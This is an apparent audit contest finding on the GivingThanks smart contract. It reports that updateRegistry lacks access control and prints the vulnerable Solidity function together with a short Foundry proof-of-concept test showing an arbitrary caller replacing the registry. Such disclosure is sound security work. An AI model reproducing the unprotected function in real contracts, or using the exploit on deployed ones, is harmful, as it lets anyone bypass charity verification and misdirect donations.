GivingThanks

First Flight #28
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Improper access control in the updateRegistry function

Summary

Anyone can call GivingThanks::updateRegistry function and update the registry, even without admin access.

Vulnerability Details

function updateRegistry(address _registry) public {
registry = CharityRegistry(_registry);
}

POC

function testUpdateRegistry() public {
vm.prank(donor);
charityContract.updateRegistry(newx);
console.log(address(charityContract.registry()));
console.log(newx);
assertEq(address(charityContract.registry()), newx);
}

Impact

Anyone can call this function with any address and update the registry

Updates

Lead Judging Commences

n0kto Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-anyone-can-change-registry

Likelyhood: High, anyone can change it at anytime Impact: High, can bypass the verification process

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.